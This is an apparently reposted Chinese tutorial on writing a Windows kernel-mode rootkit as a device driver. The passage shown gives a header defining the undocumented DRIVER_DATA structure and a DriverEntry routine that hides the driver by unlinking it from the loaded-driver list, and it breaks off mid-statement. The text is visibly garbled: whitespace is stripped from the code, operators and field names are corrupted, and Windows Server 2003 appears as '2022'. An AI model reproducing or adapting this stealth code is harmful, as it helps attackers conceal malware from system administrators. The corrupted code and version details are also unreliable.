Rootkit隱形技術(shù)方法范文一、綜述

本文將引領(lǐng)讀者打造一個初級的內(nèi)核級Rootkit，然后為其引入兩種簡單的隱形技術(shù)：進(jìn)程隱形技術(shù)和文件隱形技術(shù)。同時，為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗，我們順便介紹了rootkit的裝載、卸載辦法，以及必不可少的測試技術(shù)。

本文介紹的Rootkit的主要構(gòu)件是一個設(shè)備驅(qū)動程序，所以我們首先了解一下我們的第一個rootkit。

二、rootkit主體

本節(jié)引入一個簡單的rootkit實例，它實際上只給出了rootkit的主體框架，換句話說，就是一個設(shè)備驅(qū)動程序。則為什么要用設(shè)備驅(qū)動程序作為主體呢？很明顯，因為在系統(tǒng)中，設(shè)備驅(qū)動程序和操作系統(tǒng)一樣，都是程序中的特權(quán)階級——它們運行于Ring0，有權(quán)訪問系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點需要表明的是，因為本例主要目的在于介紹rootkit是如何隱形的，所以并沒有實現(xiàn)后門之類的具體功能，。

我們將以源代碼的.形式表明rootkit，對著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面，先給出我們用到的第一個文件，它是一個頭文件，名為Invisible.h，具體如下所示：

//Invisible.h：我們rootkit的頭文件

#ifndef_INVISIBLE_H_

#define_INVISIBLE_H_

typedefBOOLEANBOOL;

typedefunsignedlongDWORD;

typedefDWORD*PDWORD;

typedefunsignedlongULONG;

typedefunsignedshortWORD;

typedefunsignedcharBYTE;

typedefstruct_DRIVER_DATA

{

LIST_ENTRYlistEntry;

DWORDunknown1;

DWORDunknown2;

DWORDunknown3;

DWORDunknown4;

DWORDunknown5;

DWORDunknown6;

DWORDunknown7;

UNICODE_STRINGpath;

UNICODE_STRINGname;

}DRIVER_DATA;

#endif

我們知道，應(yīng)用軟件只要簡單引用幾個文件如stdio.h和windows.h，就能囊括大量的定義。但這種做法到了驅(qū)動程序這里就行不通了，原因大致有二條，一是驅(qū)動程序體積一般較為緊湊，二是驅(qū)動程序用途較為專一，用到的數(shù)據(jù)類型較少。因此，我們這里給出了一個頭文件Invisible.h，其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。

這里定義的類型中，有一個數(shù)據(jù)類型要提一下：雙字類型，它實際上是一個無符號長整型。此外，DRIVER_DATA是Windows操作系統(tǒng)未公開的一個數(shù)據(jù)結(jié)構(gòu)，其中含有分別指向設(shè)備驅(qū)動程序目錄中上一個和下一個設(shè)備驅(qū)動程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動程序來實現(xiàn)，所以，只要從設(shè)備驅(qū)動程序目錄中將我們的rootkit〔即驅(qū)動程序〕所對應(yīng)的目錄項去掉，系統(tǒng)管理程序就看不到它了，從而實現(xiàn)了隱形。

上面介紹了rootkit的頭文件，現(xiàn)在開始介紹rootkit的主體局部，它實際就是一個根本的設(shè)備驅(qū)動程序，具體代碼如下面的Invisible.c所示：

//Invisible

#include"ntddk.h"

#include"Invisible.h"

#include"fileManager.h"

#include"configManager.h"

//全局變量

ULONGmajorVersion;

ULONGminorVersion;

//當(dāng)進(jìn)行freebuild時，將其注釋掉，以防被檢測到

VOIDOnUnload(INPDRIVER_OBJECTpDriverObject)

{

DbgPrint("comint16:OnUnloadcalled.");

}

NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObject,INPUNICODE_STRING

theRegistryPath)

{

DRIVER_DATA*driverData;

//取得操作系統(tǒng)的版本

PsGetVersion(&majorVersion,&minorVersion,NULL,NULL);

//Major=4:WindowsNT4.0,WindowsMe,Windows98或Windows95

//Major=5:WindowsServer2022,WindowsXP或Windows2000

//Minor=0:Windows2000,WindowsNT4.0或Windows95

//Minor=1:WindowsXP

//Minor=2:WindowsServer2022

if(majorVersion==5&&minorVersion==2)

{

DbgPrint("comint16:RunningonWindows2022");

}

elseif(majorVersion==5&&minorVersion==1)

{

DbgPrint("comint16:RunningonWindowsXP");

}

elseif(majorVersion==5&&minorVersion==0)

{

DbgPrint("comint16:RunningonWindows2000");

}

elseif(majorVersion==4&&minorVersion==0)

{

DbgPrint("comint16:RunningonWindowsNT4.0");

}

else

{

DbgPrint("comint16:Runningonunknownsystem");

}

//隱藏該驅(qū)動程序

driverData=*((DRIVER_DATA**)((DWORD)pDriverObject20));

if(driverData!=NULL)

{

//將本驅(qū)動程序的相應(yīng)目錄項從項驅(qū)動程序目錄中拆下來

*((PDWORD)driverData->k)=(DWORD)driverData->k;

driverData->k->Blink=driverData->k;

}

//允許卸載本驅(qū)動程序

pDriverObject->DriverUnload=OnUnload;

//為本Rootkit的控制器配置連接

if(!N